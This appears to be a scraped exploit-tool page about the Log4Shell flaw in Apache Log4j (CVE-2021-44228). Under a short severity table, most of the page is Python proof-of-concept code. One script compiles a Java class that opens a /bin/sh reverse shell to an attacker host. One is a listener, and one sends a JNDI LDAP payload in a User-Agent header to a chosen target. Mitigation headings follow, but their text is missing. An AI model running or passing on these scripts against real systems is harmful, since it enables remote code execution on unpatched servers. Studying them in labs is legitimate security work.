CVE-2021-44228 — Educational analysis of CVE-2021-44228 (Log4Shell) with PoC scripts, attack vector breakdown, and mitigation guidance for understanding and testing the critical RCE vulnerability in Apache Log4j. | Kitploit

Feature	Detail
CVSS v3.1 Score	10.0 (CRITICAL) 🔥 - Highest possible severity.
Affected Versions	Log4j 2.0-beta9 to 2.14.1 (includes derivatives up to 2.16.0 for sub-CVEs).
Root Cause	JNDI message substitution without validation; remote lookups enabled.
Vectors	Remote, unauthenticated; affects Java 8+ in web/cloud apps.
Impacted Products	Apache Struts, Solr, Druid, Elasticsearch, Dubbo, VMware vCenter, and more.
Exploitation	Easy: public PoCs on GitHub; no privileges needed.

#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler

CUR_FOLDER = Path(__file__).parent.resolve()

def generate_payload(userip: str, lport: int) -> None:
    program = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {{
    public Exploit() throws Exception {{
        String host="{userip}";
        int port={lport};
        String cmd="/bin/sh";
        Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s = new Socket(host, port);
        // ... (simplified reverse shell code)
    }}
}}
"""
    p = CUR_FOLDER / "Exploit.java"
    try:
        p.write_text(program)
        subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
        print(Fore.GREEN + '[+] Exploit class generated successfully')
    except Exception as e:
        print(Fore.RED + f'[-] Error: {e}')

# ... (functions for LDAP server and web server similar to original)

def main():
    init(autoreset=True)
    print(Fore.BLUE + "[!] Educational PoC for CVE-2021-44228 - Use only in labs!")
    # Arguments: --userip localhost --webport 8000 --lport 9001
    # Starts LDAP, web server and generates payload

if __name__ == "__main__":
    main()

import socket
import threading

def start_listener(ip, port):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((ip, port))
    server.listen(1)
    print(f"[*] Listener on {ip}:{port}...")
    conn, addr = server.accept()
    print(f"[+] Connection from {addr}")
    data = conn.recv(4096)
    print(data.decode('utf-8', errors='ignore'))
    conn.close()

if __name__ == "__main__":
    threading.Thread(target=start_listener, args=("0.0.0.0", 1389)).start()
    input("Press Enter to stop...\n")  # Keeps alive

import requests
import argparse

def send_exploit(target, lhost, lport):
    payload = f"${{jndi:ldap://{lhost}:{lport}/Exploit}}"
    headers = {'User-Agent': payload}
    try:
        r = requests.get(target, headers=headers, timeout=10)
        print(f"[+] Sent to {target} | Status: {r.status_code}")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", required=True)
    parser.add_argument("-l", "--lhost", required=True)
    parser.add_argument("-p", "--lport", type=int, default=1389)
    args = parser.parse_args()
    send_exploit(args.target, args.lhost, args.lport)

CVE-2021-44228

Most Popular

💀 Attack Vector and Operation

Basic Payload Example

📈 Technical Details

🚀 Educational Proof of Concept (PoC)

General Steps for Simulation (Vulnerable Environment)

🛡️ Mitigation and Patches

1. Recommended Update (High Priority)

2. Quick Fixes (Temporary)

3. Manual Removal

4. Additional Measures

📚 Additional Resources